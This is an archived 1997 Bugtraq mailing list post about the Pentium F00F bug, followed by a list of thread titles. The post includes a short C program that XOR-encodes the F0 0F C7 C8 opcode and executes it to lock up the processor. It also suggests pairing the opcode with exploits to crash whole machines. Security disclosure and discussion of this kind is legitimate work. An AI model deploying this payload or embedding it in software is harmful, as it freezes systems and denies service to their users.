Bugtraq mailing list archives
Re: Intel Pentium Bug
From: newsham () LAVA NET (Tim Newsham)
Date: Mon, 10 Nov 1997 12:44:15 -1000
Re the F0 0F C7 C8 Pentuim bug: I just wanted ot repost this from the Linux-security list. Thought it might be helpful to some here. This was posted to Linux-security by Sam Trenholme <set () reality samiam org>.
[useless perl script deleted] As I mentioned in another forum, NO, this is NOT useful. main() { static int code = 0x48478f70, xor = 0x80808080; code ^= xor; ((int (*)())&code)(); } On a side note: this single-word opcode could be used in cases where writing a buffer overflow exploit is hard. Now instead of just crashing the per-session server, or the entire server, you get to crash the whole machine. Tim N.
Current thread:
- Re: Updating microcode on the fly, (continued)
- Re: Updating microcode on the fly Jyri Kaljundi (Nov 12)
- solaris 251 & syslogd Michael Helm (Nov 12)
- Re: solaris 251 & syslogd Richard Peters (Nov 12)
- Re: solaris 251 & syslogd Dave Kinchlea (Nov 12)
- CERT Advisory CA-97.25 - REVISED- Code Correction Aleph One (Nov 12)
- Bug In Security Dynamics' FTP server (Version 2.2) sp00n (Nov 12)
- Intel Pentium Bug: BSDI Releases a patch Joe Ilacqua (Nov 11)
- Re: Intel Pentium Bug Jason Parsons (Nov 09)
- Re: Intel Pentium Bug Kragen \ (Nov 10)
- Possible solution: [Fwd: I figured out how to make my Pentium Miguel Angel Rodriguez Jodar (Nov 10)
- Re: Intel Pentium Bug Tim Newsham (Nov 10)
- CERT Advisory CA-97.25 - CGI_metachar Aleph One (Nov 10)
- Re: CERT Advisory CA-97.25 - CGI_metachar Greg Bacon (Nov 11)
- L0pht Advisory: IE4.0 DilDog (Nov 10)
- L0pht Advisory: IE4.0 Petri Helenius (Nov 10)
- Cisco IOS password encryption facts John Bashinski (Nov 10)
- Re: Cisco IOS password encryption facts ice9 (Nov 11)
- Re: Cisco IOS password encryption facts J. Sean Connell (Nov 11)
- Re: Cisco IOS password encryption facts Michael Degerman (Nov 13)
- mode of the i586 F0 bug VaX#n8 (Nov 12)
- Re: mode of the i586 F0 bug Alan Cox (Nov 12)